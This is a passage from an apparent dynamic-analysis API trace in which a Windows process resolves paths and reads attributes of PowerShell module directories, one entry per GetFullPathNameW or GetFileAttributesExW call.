ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x56 [0191.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", nBufferLength=0x56, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts", lpFilePart=0x0) returned 0x55 [0191.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.875] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc13289f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1826502a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0191.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0191.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.876] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0191.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0191.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.876] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0191.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0191.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.876] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212127, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0191.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0191.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.877] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0191.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0191.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.877] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc212c4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0191.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent", lpFilePart=0x0) returned 0x3a [0191.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.878] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MMAgent" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\mmagent"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc213093, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0191.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc", lpFilePart=0x0) returned 0x38 [0191.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.878] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976a5ca6, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976a5ca6, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0191.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ", lpFilePart=0x0) returned 0x37 [0191.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.879] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MSMQ" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msmq"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20bc0906, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x2397fa76, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x2397fa76, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0191.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", nBufferLength=0x3e, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter", lpFilePart=0x0) returned 0x3d [0191.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.879] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2679e0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection", lpFilePart=0x0) returned 0x40 [0191.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.880] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268719, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e8ec2c6, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0191.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture", lpFilePart=0x0) returned 0x48 [0191.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.880] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetEventPacketCapture" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\neteventpacketcapture"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc268cf6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3b [0191.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", nBufferLength=0x3b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo", lpFilePart=0x0) returned 0x3a [0191.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.880] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc2dd6b5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e912528, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat", lpFilePart=0x0) returned 0x39 [0191.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.881] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetNat" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netnat"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc34165b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0191.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", nBufferLength=0x3a, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos", lpFilePart=0x0) returned 0x39 [0191.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.881] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc3421c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e938796, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.881] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3f [0191.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", nBufferLength=0x3f, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity", lpFilePart=0x0) returned 0x3e [0191.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.882] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSecurity" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netsecurity"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0191.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0191.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.882] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0191.882] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0191.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.883] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0191.883] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0191.883] 